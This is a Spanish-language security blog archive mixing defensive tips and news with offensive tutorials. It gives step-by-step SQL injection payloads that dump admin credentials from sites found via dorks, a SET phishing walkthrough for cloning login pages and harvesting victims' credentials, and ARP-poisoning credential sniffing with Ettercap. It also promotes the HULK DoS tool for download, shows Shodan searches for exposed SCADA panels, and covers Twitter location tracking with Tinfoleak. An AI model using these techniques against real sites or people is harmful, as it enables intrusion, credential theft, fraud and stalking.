Mostrando entradas con la etiqueta cyberattacks. Mostrar todas las entradas
Mostrando entradas con la etiqueta cyberattacks. Mostrar todas las entradas

martes, 15 de septiembre de 2015

Cinco prácticas de seguridad que recomiendan los expertos

Todos los expertos en cyberseguridad a pesar de su trabajo, ante todo son usuarios de la red, navegan, interactúan y consumen contenido como todos. Pero, ¿qué prácticas utilizan comúnmente estos expertos para protegerse de todos los peligros que acechan en la internet? ¿Están este tipo de prácticas al alcance de cualquier mortal?




Pues la respuesta a la segunda pregunta es sí, muchas de estas prácticas no se basan más que en el propio sentido común de la persona que controla la máquina.

La información que os mostramos a continuación está basada en un estudio realizado por Google en el cuál se entrevistaron a más de 200 expertos en cyberseguridad y a otros 300 usuarios comunes, para buscar las diferencias en las prácticas de cada grupo. Destacando que la mayoría de los expertos si actúan de acuerdo a lo que predican, a diferencia de los usuarios corrientes, que siguen cayendo en errores tan básicos que hacen que el cyberfraude cobre sentido.

Aquí os mostramos un pequeño resumen de dicho estudio , en el que os mostramos cinco prácticas fundamentales, que todos los usuarios deben tener en cuenta al navegar por la red.


1. Utilizar un Antivirus

Contar con una solución Antivirus es fundamental. Esta recomendación es tan básica que ni siquiera debería ser necesario escribirla en este artículo. Pero por el contrario la realidad es que hay muchos usuarios que piensan que el antivirus es un mero elemento decorativo y no es así. Contar con una solución de seguridad actualizada, nos puede ayudar contra amenazas ya conocidas, además este tipo de soluciones van mejorando con el tiempo, proviniendo a sus usuarios de nuevas herramientas actualizas para protegerlos de los nuevos tipos de amenazas que que van apareciendo.


2. Mantener las actualizaciones al día

Sin ninguna duda es la recomendación más importante para mantenerse protegido. Mantener el sistema operativo y todas las aplicaciones que utilizamos siempre actualizadas, sobre todo las aplicaciones que hagan uso de internet. No servirá de nada utilizar el sistema más seguro, si luego no nos preocupamos de mantenerlo siempre actualizado con todas las mejoras que se van incluyendo.


3. Usar contraseñas diferentes para cada sitio.

El hecho de rutilizar las contraseñas para diferentes servicios en linea, hace que si un atacante nos roba la contraseña de un sitio, pueda acceder con esa misma contraseña a otras cuentas que nos pertenezcan. Lo más inteligente es utilizar siempre contraseñas diferentes, al igual que no usas la misma llave para todas las puertas. Si no tenemos muy buena memoria y creemos que se nos van a olvidar tantas contraseñas, podemos hacer uso de un gestor de contraseñas que nos ayude a tener todas las contraseñas almacenadas en un sitio seguro. Si lo utilizamos de la manera correcta un gestor de contraseñas nos puede ser de gran ayuda.


4. Hacer uso de la doble autenticación 

Muchos servicios como Google o Facebook, permiten a sus usuarios que hagan uso de una verificación en dos pasos. Esta doble verificación puede ser de varias formas: una vez introducidas las credenciales, el usuario podrá recibir un código en su correo o en su móvil como un mensaje de texto,  mediante una aplicación o mediante la comprobación con dispositivos físicos. Un mundo infinito de posibilidades a explorar, por lo que utilizar este tipo de verificación es más que recomendable. Por otra parte esto, evitará que si alguien roba nuestras credenciales, aunque tenga nuestro usuario y contraseña no pueda llegar a acceder a la cuenta ya que necesitaría también cumplir con esa doble autenticación.


5. Navegar siempre por sitios seguros

Descubrir nuevos contenidos en lo inconmensurable de Internet es una gozada, pero hay que hacerlo con un poco de cabeza. Visitar webs desconocidas puede esconder cierto riesgo, por lo que no es mala idea confiar en las referencias que ya se hayan ganado tu confianza, valga la redundancia. 

Consejo: hay extensiones para el navegador que te pueden servir, como WOT, que te dará aviso de la reputación del sitio que estás visitando; o HTTPS Everywhere, que forzará el uso de conexiones seguras siempre que se pueda.

Sin duda recomendaciones muy simples que todos pueden seguir para estar más seguros en el cyberespacio, si tu tienes alguna otra recomendación que crees que debemos conocer, no dudes en dejarla en los comentarios para que otros puedan beneficiarse de ella.





miércoles, 9 de septiembre de 2015

Consejos para mantener la seguridad de nuestra conexión wifi

Siempre hablamos de como podemos proteger todos nuestros equipos, y de las medidas que debemos tomar para evitar ser víctimas de un ataque informático. Con el auge de las redes wifi en los últimos años también hemos tenido un crecimiento exponencial de redes vulnerables a todo tipo de ataques, dejando una puerta de entrada para futuros intrusos. 

En posts anteriores hemos visto como podemos atacar redes wifi con diferentes tipo de cifrado, y de lo fácil que le puede resultar a cualquier persona apoderarse de nuestra conexión,. Y por todo ello, hoy veremos como podemos protegernos, creando una  configuración lo más robusta posible para nuestra router.



Fortificar nuestra configuración de red

Cambia la contraseña por defecto de la red: todos los fabricantes utilizan algoritmos para establecer claves por defecto en sus routers. Hoy en día existen miles de apps que cualquiera puede utilizar, y que se basan en el descubrimiento de dicho algoritmo, por lo que cambiar la contraseña que nuestro dispositivo trae por defecto es primordial.


Cambia el SSID: el SSID es el nombre que utilizamos para identificar nuestra red, al igual que la contraseña, el SSID es necesario para poder crackear redes con cifrado WPA/WPA2-PSK que se realizan mediante ataques de diccionario, por lo que es recomendable cambiarlo por uno que nadie haya podido pre-calcular anteriormente.

Elige un cifrado robusto con WPA/WPA2-PSK: es la mejor elección que podemos elegir en la actualidad, pero como todo en la informática no es 100% seguro, y ni mucho menos infalible contra algunos tipos de ataques específicos.

Filtra las conexiones mediante direcciones mac: otra recomendación que podemos tomar, para complicar las cosas un poco más a los atacantes, sería crear un filtro por la dirección mac de cada equipo que queremos que se conecte a la red, desde el panel de administración de nuestra conexión. Esto lo que hará será impedir el acceso de la red, a todos los dispositivos cuya dirección mac no se encuentre en el filtro que hemos creado anteriormente.

Cambia periódicamente la contraseña y el SSID: incluso aunque cumplamos con todos los consejos anteriores nuestra red puede acabar siendo comprometida, por lo que cambiar la clave del wifi y el SSID periódicamente, es una de las mejores medidas que se pueden tomar actualmente para proteger nuestra privacidad.

Desactiva la función de WPS(WiFi Protected Setup): Esta es una opción que le permite a un equipo que se conecte a una red Wifi utilizando un código temporal que simplifica el proceso de "enrollment" de un nuevo equipo. Pero el problema recide en que la mayoría de routers no están preparados para detectar ataques de fuerza bruta por lo que desactivar esta opción es lo más recomendable.

Apagar la Wifi cuando no la estamos utilizando: cuanto más tiempo tenga un atacante para acceder o para moverse por nuestra red, más problemas nos puede llegar a causar. Por lo si apagamos nuestra conexión Wifi cuando no la utilizamos minimizamos las posibilidades de sufrir un ataque.

Cambia la contraseña de administración del router: cambiar el pass por defecto del administrador de nuestro router, nos puede ser de gran ayuda. Si le damos el acceso a un atacante a nuestro router directamente le estamos regalando el poder de que se convierta en el administrador de nuestra propia red con todos los riesgos que ello conlleva, le estamos dando carta blanca a un intruso, para que acceda a todos nuestros dispositivos y los utilice como crea conveniente. Por lo que es muy recomendable cambiar la contraseña de administración que trae por defecto.

Actualiza el fimware del router: como repetimos en muchas ocasiones, mantener el software de nuestros dispositivos actualizado es primordial, y nuestro router no es menos. Si mantenemos nuestro router actualizado con la ultima versión que nos ofrece el fabricante, se convertirá en otro problema que el posible atacante debería sortear.

Estos son solo algunos de los muchos consejos que podemos encontrar en la red y que nos pueden ayudar día a día a protegernos, y a mantener nuestro nivel de privacidad lo más alto posible. Como ya hemos dicho estas son sola algunas recomendaciones, pero si tu tienes otro consejo que no haya mencionado, no dudes en dejarlo en los comentarios,  seguro que le puede ayudar a muchas personas.


martes, 1 de septiembre de 2015

Cómo abrir coches y puertas de garaje con este pequeño dispositivo

Solamente se necesitan dos radios, un microcontrolador y una batería, que en total no llegan a costar 
ni siquiera 30 euros. Con ellos podemos fabricar este dispositivo al que han llamado RollJam.
Solo tenemos que pulsar un botón para llegar a desbloquear la puerta de un coche.   




Este ataque se aprovecha de una tecnología inalámbrica de desbloqueo vulnerable que es usada por
la mayoría de los fabricantes.

Todos estos sistemas de desbloqueo Wireless, son sistemas sin llaves que le permiten al propietario
desbloquear el coche mediante este dispositivo con un rango de 20 metros.

Cómo funciona RollJan

“El dispositivo es capaz de robar los códigos secretos (Rolling code) que se generan cada vez que se presiona el botón de desbloqueo del mando a distancia, y expira una vez que se usa”, asegura Samy Kamkar, el investigador detrás de este peculiar invento.

El código es básicamente un código aleatorio que se envía a través de radio frecuencia al coche. El bloqueo tiene un generador de código sincronizado que lo reconoce y después lo destruye para que no pueda volver a ser usado. La llave y el coche entonces generan un nuevo código para la siguiente vez, y el proceso se repite.

Sin embargo, cuando alguien acciona el botón de la llave para desbloquear el coche, el dispositivo RollJam usa su frecuencia de radio de forma que bloquea la señal y la almacena, forzando al propietario del coche a presionar el botón de nuevo.

Cuando se presiona el botón por segunda vez, el dispositivo fuerza de nuevo la señal y almacena un segundo código, pero también tiene la oportunidad de lanzar  en la misma señal el primer código interceptado, con lo que se desbloquea el coche.

Así que, cuando la víctima aparca su coche, se puede usar esa señal robada para desbloquear el automóvil, porque se han forzado dos señales, y el dispositivo todavía tiene una que se puede usar en el futuro.

Este proceso ha sido testado en diversas marcas de coches, y en todas han encontrado la vulnerabilidad y han podido usar el dispositivo. Entre ellos, Chrysler, Fiat, Honda, Toyota, Daewoo, GM, Volvo Volkswagen o Jaguar.

Además, este dispositivo funciona también con puertas de garaje, que actúan de la misma manera.

Pare evitar esto, según advierte el investigador, los códigos continuos en los coches deberían estar asociados a un periodo de tiempo. Otra forma de mitigar los ataques es usar un chip único para cada coche.  El investigador ha presentado su diseño en la conferencia de hacking DefCon en Las Vegas.

lunes, 3 de agosto de 2015

Rebusca entre más del millón de emails filtrados de Hacking Team gracias al buscador de WikiLeaks


Hace ya más de una semana del hackeo que sufrió Hacking Team , la empresa de hackers italiana ha sido la protagonista el blanco de muchos titulares y todo apunta a que todo esto aún no a terminado. Y no es para menos, porque estamos hablando de que sufrió un ciberataque en el que se comprometieron más de 400 Gb de información confidencial de sus clientes, y miles de correos electrónicos. 

Ahora gracias a WikiLeaks podemos echar un vistazo a todos los datos filtrados a través de un buscador del que se puede acceder a la base de datos con todos los emails filtrados de Hacking Team.

Por supuesto lo primero que hemos hecho a sido buscar mediante palabras clave. Por ejemplo, si introducimos la palabra “Spain”, el buscador nos devuelve 2.337 resultados. Si la búsqueda es “NSA”, nos devuelve 2.153 emails en los que se menciona a la agencia estadounidense.




En total, la base de datos cuenta con más de un millón de emails.  El buscador también da la opción de buscar por el remitente o el destinatario de los correos electrónicos, por nombre de archivos adjuntos o por el ID del correo electrónico.


martes, 7 de julio de 2015

Hacking Team, el cazador cazado

Esta mañana me he levantado y al mirar Twitter lo primero que he visto es la reciente noticia que le ocurrió el pasado domingo al equipo de Hacking Team. Así que el post que tenía para subir hoy lo dejaremos para mañana, ya saben como se suele decir:  la actualidad manda. 



Como os comentaba nada más despertarme esta mañana, me encontrado mi Twitter repleto de menciones a esta noticia, pero empecemos por el principio, quién son estos tipos de Hacking Team.

Pues bien, Hacking Team es una empresa que se dedica a la venta de herramientas de software
de vigilancia, principalmente para gobiernos y grandes organizaciones.

Venta de herramientas de espionaje

Hacking Team es conocida por las herramientas de vigilancia y espionaje que desarrolla (con la herramienta Da Vinci a la cabeza) y vende a países y organizaciones de todo el mundo. Por eso resulta tan polémico conocer el listado de sus clientes, listados que supuestamente están ya circulando (junto con otro tipo de material confidencial como correos y código fuente) por todo Internet.

Y quizás este haya sido el motivo por el que se haya desencadendo esta sucesión de hechos .
¿Pero que es lo que ha sucedió?

Pues al parecer el domingo mientras casi todo el mundo veía la final de la Copa America, hubo un grupo de ciberdelincuentes que se dedicó a atacar los activos más valiosos de esta empresa, sus datos.



Los ciberdelincuentes también se hicieron  con la cuenta de Twitter de la empresa, en la que empezaron a twittear y a subir fotos de los correos electrónicos de las cuentas robadas. Presuntamente se han filtrado unos 400gb de información en un archivo torrent que contiene grabaciones de audio, correos electrónicos, código fuente y credenciales de acceso para sitios de soporte de la compañía en Egipo, México y Turquía.




Fuentes: http://www.theregister.co.uk/2015/07/06/unified_cdm_static_password/
         
 http://www.zdnet.com/article/hacking-team-hit-by-breach-files-suggest-it-sold-spyware-to-oppressive-regimes/#ftag=RSSbaffb68





martes, 30 de junio de 2015

HULK, una herramienta para atacar servidores web

En la mayoría de los casos, las herramientas para realizar atauqes DoS comparten un problema... 
crean patrones repetibles, demasiado fáciles de predecir y, por lo tanto, que permiten mitigar sus efectos. 




HULK (Http Unbearable Load King) es una sencilla herramienta DoS escrita en Python cuyo principal
objetivo es generar peticiones únicas para evitar/evadir motores de caché e incidir directamente
en la carga del servidor. Las principales técnicas que utiliza son las siguientes:

- Ofuscación del origen: cada petición del cliente se envía con un agente de usuario distinto
seleccionado aleatoriamente de una lista.

- Falsificación de referencias: el referer que incluye la petición está ofuscado y apunta hacia
el mismo servidor objetivo u otros sitios web conocidos.

- Adhesión: utiliza comandos estándar HTTP para tratar de hacer que el servidor mantenga las
conexiones abiertas mediante el uso de Keep-Alive con una ventana de tiempo variable.

- no-cache: se solicita al servidor HTTP no-cache para obtener una página única.

- Transformación de URL única: para evitar la caché y otras herramientas de optimización,
se utilizan nombres de parámetros y valores aleatoriamente en cada petición, lo que hace
que cada petición sea única y que el servidor tenga que procesarla en cada caso.

Resultados

El autor Barry Shteiman comenta que ha realizado pruebas contra un servidor web con 4GB de RAM
y Microsoft IIS7 y fue capaz de tirarlo en menos de un minuto, lanzando todas las peticiones
desde un único host.

En las siguientes imágenes se puede ver la herramienta en acción donde, en la primera (#1), se ejecuta contra una URL y a continuación comienza a generar una carga de solicitudes únicas y las envía hacia el servidor objetivo (host de la URL) y, en segundo lugar (#2), podemos ver que el servidor en algún momento empieza a dejar de responder ya que ha agotado su fondo de recursos.





nota: el parámetro opcional "safe" significa matar el proceso cuando los hilos consigan un error 500.


Descarga


Fichero : hulk.py( fichero zip)

Esta herramienta está pensada para propósitos educativos solamente y no debe ser utilizada para ninguna actividad maliciosa.

Fuente: HULK, Web Server DoS Tool | SECTORIX | UNDERC0DE | HACKPLAYERS

lunes, 9 de febrero de 2015

Mapas de ataques digitales en tiempo real

En los tiempos que corren la temida guerra digital a pasado de ser algo anecdótico a ser una realidad con la que convivimos día a día, millones de máquinas son atacadas a diario, una prueba de ello son las últimas estadísticas que nos muestran un panorama desolador:  



El Pentágono recibe más de 10 millones de ataques diarios, unos 100.000 el Estado de Israel, y en el caso de España, el CNI a confirmado que durante 2014 se realizaron 
unos 14.000 ataques, un 80% más que en 2013.

Todo esto se refleja gráfica y visualmente en los mapas de ataques digitales, estos mapas nos pueden ayudar a que nos hagamos una idea de los países que más 
ataques reciben diariamente.

Todos estos mapas, han sido creados por grandes firmas de seguridad digital :

http://map.ipviking.com/

https://www.fireeye.com/cyber-map/threat-map.html


cybermap.kaspersky.com


www.digitalattackmap.com/#anim=1&color=0&country=ALL&list=0&time=16474&view=map

domingo, 18 de enero de 2015

Realizar un seguimiento mediante Twitter con Tinfoleak

La recopilación de información, es el primer paso y el más importante en las pruebas de penetración,cuanto más sepamos acerca de nuestro objetivo, más serán las posibilidades de éxito que tendremos.


Las redes sociales, especialmente Facebook y Twitter contienen un montón de información 

sobre cualquier persona o empresa, y los civerdelincuentes también utilizan estas plataformas para obtener la información que necesitan de su objetivo.


Hay muchos servicios y herramientas que están disponibles en el mercado, y otros muchos que están disponibles de forma gratuita, tinfoleak es uno de ellos. Tinfoleak puede recabar información de cualquier cuenta de Twitter , es un simple script en Python que 

nos permite obtener:


- Información básica sobre un usuario de Twitter (nombre, imagen, ubicación, seguidores, etc.) 

- Dispositivos y sistemas operativos utilizados por el usuario de Twitter.

- Aplicaciones y redes sociales utilizadas por el usuario de Twitter. 

- Lugar y de geolocalización, coordenadas para generar un mapa de seguimiento de las ubicaciones 
visitadas. 

- Mostrar los tweets de los usuarios en Google Earth. 

- Descargar todas las fotografías de un usuario de Twitter.

- Hashtags utilizado por el usuario de Twitter, y cuando se utilizan (fecha y hora) 

- Usuario mencionado por otro usuario de Twitter, y cuando se produjo (fecha y hora) 

- Temas utilizados por el usuario de Twitter.




También podemos realizar un filtrado de toda la información a través de: 

- Fecha de inicio / hora

- Fecha / hora

- Palabras clave




martes, 16 de diciembre de 2014

Demostración básica de Injección SQL

Hoy veremos una práctica muy básica pero efectiva, vamos a ver como podemos realizar una Injección SQL pero antes tenemos que tener claro algunos conceptos.





¿Qué es SQL?


Lenguaje de consulta estructurado o SQL (por sus siglas en inglés Structured Query Language) es un lenguaje declarativo de acceso a bases de datos relacionales, que permite especificar diversos tipos de operaciones en ellas. de sus características es el manejo del álgebra y el cálculo relacional que permiten efectuar consultas con el fin de recuperar de forma sencilla información de interés de bases de datos, así como hacer cambios en ellas.




Muchos CMS, (Sistemas de Gestión de Contenidos) utilizan SQL para acceder a una Base de Datos (PhpMyAdmin) y guardar información.





¿Y qué significa SQLi?




Es la abreviatura de SQL Injection. Aunque, SQLi es un bug bastante antiguo, existen  muchos CMS o páginas web con esta vulnerabilidad.





¿Como buscar paginas vulnerables a SQLi?




Con Google, sin embargo, también existen Dorks (Palabras claves para poder encontrar CMS vulnerables). De todas formas no es muy complicado encontrar sitios (Probablemente) vulnerables a SQLi. Un ejemplo muy sencillo sería, dirigirnos directamente a Google y en el buscador 

colocamos esto:



id = cat index.php?





¿Como saber si la página es vulnerable?


Bastante fácil, tan solo tenemos que colocar una ' (Comillas, coma, punto, cualquier carácter) al final de la variable, es decir: 

/index.php?id=28'



nos deberá marcar un error como este (Pueden variar los errores, pero el más común entre 

ellos es este):



You have an error in your SQL syntax; check the manual that corresponds to your MySQL 


server version for the right syntax to use near ''' at line 1



Sí de lo contrario no nos muestra error, quizás el sitio no sea vulnerable, pero esto no quiere decir que no lo sea el programador o administrador puede haber agregado  una función en PHP, para que no se muestren los errores.




Cabe mencionar que es un error muy común por parte de los administradores, ya que eso no arregla el bug, el bug sigue ahí, existen otros métodos de para explotarlo como  la Injección a ciegas pero eso lo veremos otro día.





Explotando el Bug




Ahora viene la parte un poco más complicada, antes de nada tenemos que saber lo siguiente:




UNION se usa para combinar el resultado de un número de comandos 




SELECT en un conjunto de resultados




Ya hemos comprobado que anteriormente nos lanzó un error y que por lo tanto

era vulnerable, ahora deberemos buscar la columna que provoca el error.
Supongamos que tenemos lo siguiente:

 /index.php?cat=45

Y tendremos que dejarlo como en el siguiente ejemplo, le deberemos añadir el símbolo menos (-)
delante de la variable 45 y detrás del símbolo igual (=), y luego le añadimos el "union" más el "select", de esta forma:



/articulo.php?articulo=-230+union+select+1--




Empezamos a partir del numero 1 o el numero 0, y le vamos agregando más números hasta que nos desaparezca el error en pantalla. (Es muy importante poner los guiones al final y las comas en los números).




/articulo.php?articulo=-230+union+select+1,2,3--




En el momento en el que veas uno o más numeros en la pantalla y haya desaparecido el error habremos encontrado la columna vulnerable.






En resumen los números nos marcan que podemos concluir la inyección en este caso me iré sobre el numero 2 (color azul).

Hay que tener en cuenta también, la versión de la base de datos si es 5.*.* - comunity se podrán sacar los nombres de las tablas y columnas, si de lo contrario es inferior a la versión 5,no se podrá extraer los nombres de las tablas y/o columnas, se tiene que hacer a ciegas y es un poco más complicado.

Para saber la versión de la base de datos (SQL) solo agregamos al final de union+select+1,2,3,4,5 database()

Sacando los nombres de las tablas

Remplazamos el numero 2 por group_concat(table_name) algo así:


/articulo.php?articulo=-230+union+select+1,group_concat(table_name),3,4,5
+from+information_schema.tables--

Es importante agregar el +from+information_schema.tables--, nos dará como resultado todos los nombres de las tablas que existen en la Base de dados.



Como se ve en la imagen, tenemos como resultado los nombres de las tablas. Pero hay un problema, el tamaño de la página nos limita la visión y solo vemos una cierta cantidad de numero de tablas. 

Sin embargo,podemos utilizar otra alternativa, en este caso será la opción "limit" que nos permitirá limitar el rango de registro, y así poder acceder a la tabla deseada.

En este caso, quitamos group_concat() y solo dejamos table_name y al final de information_schema.tables agregamos +limit+1,1-- así quedará la url:

/articulo.php?articulo=-230+union+select+1,table_name,3,4,5
+from+information_schema.tables+limit+1,1--

Nos mostrará el nombre de la primera tabla, es decir, tendremos que buscar la tabla de la que queremos sacar los datos.

En este casola tabla que buscamos es admin, ahora vamos a convertirla en ASCII les dejo la herramienta online para el conversor de String a ASCII | http://easycalculation.com/ascii-hex.php

Una vez pasado a ASCII nos quedará algo así:

admin = 97 100 109 105 110

Extración de datos

Modificamos nuestra url algo que quede así (incluyendo el nombre de la tabla, pero convertida a ASCII):

/articulo.php?articulo=-230+union+select+1,group_concat(column_name),
3,4,5+from+information_schema.columns+where+table_name=char(97,100,109,105,110)--

Como resultado nos tendrá que imprimir los nombres de las columnas, por ejemplo:

email, contrasena, usuario, pwd


Esta parte es la más fácil, supongamos que ya sabemos los nombres de la tabla en este caso es admin y las columnas que nos interesan son usuario y pwd (contraseña), ahora hay que extraer los datos de esas dos columnas y para eso hacemos lo siguiente:

/articulo.php?articulo=-230+union+select+1,group_concat(usuario,0x3a,pwd),
3,4,5+from+admin-- 



Con esa simple inyección nos mostrará el usuario y contraseña de la administración. Si la contraseña esta encriptada en MD5 tendremos que utilizar alguna herramienta para poder descifrarla, también podéis utilizar alguna herramienta para encontrar el panel de administrador de la pagina que a veces anda bastante escondido. Y nada más por hoy espero que os sea de ayuda, hasta la próxima!

martes, 25 de noviembre de 2014

Ataque de Phishing con SET desde Backtrack 5

El Phishing es un delito también conocido como estafa cibernética que aplica técnicas de ingeniería social para sustraer información confidencial. Este ataque consiste en obtener las credenciales de acceso a cuentas como clientes de bancos, servicios de pago online o cuentas específicas que manejan información privilegiada.



Es uno de los métodos más utilizados por los civerdelincuentes en los últimos tiempos, por su gran facilidad y efectividad. En el siguiente tutorial vamos a ver cómo se puede reproducir un ataque de estas características.




Lo primero será arrancar nuestra distribución de Backtrack, y por consiguiente damos click en Applications > BackTrack > Social Engineering Toolkit > set.





Social Engineering Toolkit(SET): Se trata de los vectores de ataques mejor elaborados, robustos y con mayores probabilidades de éxito que se han desarrollado en SET debido a que son específicamente diseñados para construir sitios web “ficticios” que son incitantes y creíbles para el objetivo, además cuentan con técnicas bastante elaboradas que permiten que un objetivo sea víctima sin enterarse tan siquiera que ha sido engañada.




Una vez en el menú de opciones, seleccionaremos la opción 2 

(Website Attack Vectors).





Ahora seleccionamos la opción 3 (Credential Harvester Attack Method).




Credential Harvester Attack Method: Este tipo de ataque permite a un atacante clonar un sitio que tenga algún tipo de formulario de autenticación (formularios donde se solicita usuario y clave, como por ejemplo gmail) posteriormente cuando una víctima ingresa en dicho sitio e ingresa sus credenciales de acceso, SET recolecta toda esta información y posteriormente envía al usuario al sitio original.



Finalmente cuando el atacante desea finalizar la ejecución del ataque,
obtiene un informe con la información recolectada.



Luego tenemos que seleccionar la opción 2 (Site Cloner).


Nos pedirá nuestra ip para mandarnos la información, abrimos una terminal escribimos ifconfig y en la interfaz con salida a internet tendremos nuestra Ip, la copiamos y la pegamos en SET ...

Luego tendremos que poner la url del sitio a clonar.

Y ahora solo tenemos que camuflar nuestra ip en un link y enviársela a la "víctima", esperamos a que la "víctima" haga clic en nuestro link, y lo llevara a nuestro sitio falso para que proporcione sus credenciales de acceso.

Una vez se registre la "víctima", la página de registro volverá a cargarse pero esta vez si mostrará la página original,  la víctima volverá a introducir sus datos (y no se habrá dado cuenta de nada), nosotros habremos recibido sus datos en la shell de SET, y todo el mundo contento :) .

Bueno y hasta aquí por hoy, espero que os haya servido,
hasta la próxima!

miércoles, 19 de noviembre de 2014

¡Cuidado Gamers!“ Un salvapantallas gratis” detrás del robo de objetos valiosos en Steam

Hace bastante tiempo que los gamers son considerados por los civerdelincuentes como un objetivo idóneo, y desde hace años nos vienen alertando sobre los trucos que se han utilizado para intentar engañarlos o robarles credenciales.

Con el incremento de las plataformas de distribución digital de juegos como Steam y el uso que hacen de ellas millones de usuarios cada día, estas se han convertido en un objetivo que atrae cada vez a más delincuentes. Durante esta semana hemos visto cómo se ha utilizado el Marketplace de Steam y otros sitios similares como CSGolounge para vender supuestos "chollos" de bienes virtuales utilizados por algunos jugadores en sus juegos favoritos.

Los delincuentes han utilizado estas ofertas para atraer a usuarios despistados y convencerlos para que instalen un aparentemente un inofensivo salvapantallas, que en realidad contenía una amenaza para sus preciados bienes digitales. El robo de bienes es frecuente en casos en que los jugadores reciben ataques de bandas de delincuentes con correos electrónicos de phishing o con software de robo de contraseñas, para obteneracceso a sus credenciales.

¿Cómo funciona esta amenaza?

Gracias a la investigación realizada por algunos usuarios en algunos foros de la red podemos, comprobar que el aparentemente inofensivo salvapantallas, que los usuarios identifican como tal por su extensión .SCR, es en realidad una aplicación maliciosa desarrollada en .NET C# con algunas características que sacan a relucir sus verdaderas intenciones.





Hay muchas cosas interesantes en este trozo de código, comenzando por el Identificador de Steam del ladrón localizada en la función “addOffer” y otras funciones que destacan como la llamada “addItemsToSteal”, la cual claramente realiza un listado de aquellos objetos virtuales de valor que pudiera tener la víctima haciendo una búsqueda por sus nombres.

Los delincuentes buscan varios objetos usados en distintos juegos aunque principalmente se ha observado que están interesados en los juegos Counter Strike: Global Offensive, DOTA 2 y Team Fortress 2.

Si nos fijamos en la última función “sendMessageToFriends” veremos cómo su finalidad es enviar un mensaje de forma automática a todos nuestros contactos en el sistema de mensajería instantánea de Steam.




De esta forma, los delincuentes consiguen que su amenaza se propague como si  de un gusano clásico de mensajería se tratase, ya que cuantos más usuarios pulsen sobre el enlace, más víctimas y, por ende, objetos valiosos conseguirán los creadores de esta amenaza.



Tras analizar a fondo la amenaza podemos concluir que la finalidad de esta no es infectar el sistema ni robar la contraseña de Steam, pero no estaría de más que la cambiaras si tienes sospechas de haber sido afectado. Como medida adicional de protección, puedes reinstalar Steam para forzar que se genere un nuevo ID de sesión y evitar así que el anterior sea utilizado de forma fraudulenta.



Fuente: We Live Security

martes, 18 de noviembre de 2014

Shodan un buscador con mucha personalidad

Algunos han descrito Shodan como un motor de búsqueda para los ciberdelincuentes,
e incluso lo han llamado " el motor de búsqueda más peligroso del mundo".




Fue desarrollado por John Matherly en 2009, literalmente: "World’s first computer network search engine lets you locate computers based on IP, operating system or services

running". Es decir, es un buscador que, busca por direcciones IP, routers, servicios y
sistemas operativos. 

Shodan permite hacer diferentes tipos de búsquedas: Búsquedas por país, búsquedas por puerto, búsquedas por software, búsquedas por versión de software ...

Sin duda una gran herramienta para los administradores de sistemas, pero por otra parte sirve también de gran ayuda para los civerdelincuentes, los que con una sencilla búsqueda pueden encontrar información crucial sobre un sistema. Como podéis ver más adelante, vamos a utilizar Shodan para encontrar sistemas Scada.

SCADA es el acrónimo de Supervisory Control And Data Acquisition. Un sistema Scada esta basado en un programa de control que permite supervisar y controlar a distancia una instalación, proceso o sistema de características variadas, que pueden ir desde

controlar una caldera, hasta controlar toda un fábrica de lavado.

Lo curioso es que muchos de estos sistemas están conectados directamente

a internet y se controlan por ordenadores accesibles en remotos.

Con Shodan, con una sencilla búsqueda, es posible descubrir que hay conectados

a la red, ordenadores con paneles de control de plantas depuradoras de agua.
Para encontrar alguno de ellos, una sencilla búsqueda como



En el ejemplo vemos que se trata de una planta depuradora de agua. Veremos que hay algunos sistemas conectados pero todos nos piden usuario y contraseña, pero el simple hecho de que estén conectados a Internet es un riesgo bastante serio que permite atacar directamente ese sistema de autentificación. Y podríamos seguir así buscando muchos tipos de sistemas como cámaras ip, Servidores SIP y Terminales VoIP, equipos de plantas de control de agua, decodificadores, casas domóticas y un largo etcétera.

Y asín con cientos de sistemas que día a día corren el riesgo de ser atacados, por el "simple" hecho de que cualquier usuario del mundo pueda acceder a loguearse en sus paneles de control. 

Bueno y hasta aquí por hoy, espero que haya quedado claro la facilidad con la que podemos acceder directamente a muchos sistemas de control que están conectados a internet constantemente, nada más, un saludo!

martes, 21 de octubre de 2014

Cómo esnifar el tráfico de red con Ettercap (Entorno Ubuntu)


Ettercap es un sniffer para LANs con switch. Soporta direcciones activas y pasivas de varios protocolos (incluso aquellos cifrados, como SSH y HTTPS). También hace posible la inyección de datos en una conexión establecida, y filtrado al vuelo aun manteniendo la conexión sincronizada gracias a su facilidad para establecer un Ataque Man-in-the-middle(Spoofing). 


En este post vamos a ver los aspectos básicos de este sniffer, descargamos el programa de su página oficial, o también lo podemos descargar desde el centro de software de ubuntu.

Página oficial de Ettercap:

Una vez instalado lo abrimos y lo primero que hacemos es irnos arriba a la opción de "Sniff", y seleccionamos "Unified sniffing" y aquí vamos a poner la interfaz de red que vamos a utilizar.(En mi caso Wlan0).





Lo siguiente que debemos hacer es irnos al apartado de "Hosts" y elegimos "Scan for hosts", lo que hará será escanear los equipos conectados a la red.




Luego seleccionaremos  "Hosts" de nuevo, pero esta vez elegimos la opción de "Hosts list". (Nos mostrará todos los equipos conectados).



Nos saldrán varios equipos, en mi caso cuatro, el primero es el router y el segundo un pc que hay conectado (el equipo que voy a atacar) y otros dos equipos a los que no echaremos cuenta. Seleccionamos el primero (el router) y pinchamos en "Add to Target 2" y luego seleccionamos el segundo (el pc) y le damos a "Add to Target 1".

Luego nos vamos a la pestaña "Mitm" y seguidamente a "Arp Poisoning", nos saldrá una ventana y seleccionaremos la primera opción "Sniff remote connections" y damos en aceptar.



Por último para comenzar a esnifar la red nos vamos a "start" y luego a  "start sniffing", y comenzará a esnifar el tráfico de conexión automáticamente.





Ya solo tendremos que ir a "view" y luego a "connections" para poder visualizar todas las conexiones entrantes y salientes.




Aquí podremos observar todo el tráfico transite por la red a la que estamos conectados. Si queremos más detalles sobre alguna trama en concreto, la seleccionaríamos y le daríamos click derecho y detalles.



Para ver las creedenciales obtenidas, no tenemos que hacer nada simplemente esperar a que la victima se registre con su cuenta en algún servicio de internet. Una vez se haya registrado nos aparecerá el usuario y el pass, en la parte inferior de la ventana de Ettercap.



Y nada más esto a sido todo por hoy, espero que os haya sido de ayuda.
Nos vemos en el próximo post, un saludo.